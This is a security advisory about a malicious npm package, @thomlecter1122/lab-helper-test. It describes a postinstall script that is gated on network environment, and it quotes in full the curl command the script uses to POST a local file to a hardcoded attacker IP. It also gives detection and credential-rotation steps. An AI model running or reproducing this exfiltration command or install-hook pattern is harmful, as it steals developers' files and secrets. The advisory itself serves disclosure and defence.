@thomlecter1122/lab-helper-testnpm
Advisory published Updated
@thomlecter1122/lab-helper-test is a confirmed malicious npm package (MAL-2026-5534) that steals credentials and exfiltrates sensitive data (malicious versions 0.0.2, 0.0.3, 0.0.5…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @thomlecter1122/lab-helper-test (npm)
What this malware does
The package ships a postinstall lifecycle script (sec_check.js) that fires automatically on npm install. The script first checks whether the host has a non-internal IPv4 address beginning with 192. (a network-environment gate that hides the behavior from developer laptops and CI on other subnets), and if so executes curl -X POST http://18.175.63.47:8080/collect --data-binary "@${INIT_CWD}/myfile.txt" via child_process.execSync with stdio suppressed. This reads a file from the installer's working directory and ships it over plain HTTP to a hardcoded bare-IP attacker host with no consent and no error surfacing. The combination of automatic lifecycle execution, environment-gated activation, hardcoded bare-IP C2, and silent error handling is a textbook exfiltration dropper.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for @thomlecter1122/lab-helper-test (6 malicious versions).
If you installed it — respond
@thomlecter1122/lab-helper-test is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @thomlecter1122/lab-helper-test was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @thomlecter1122/lab-helper-test-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.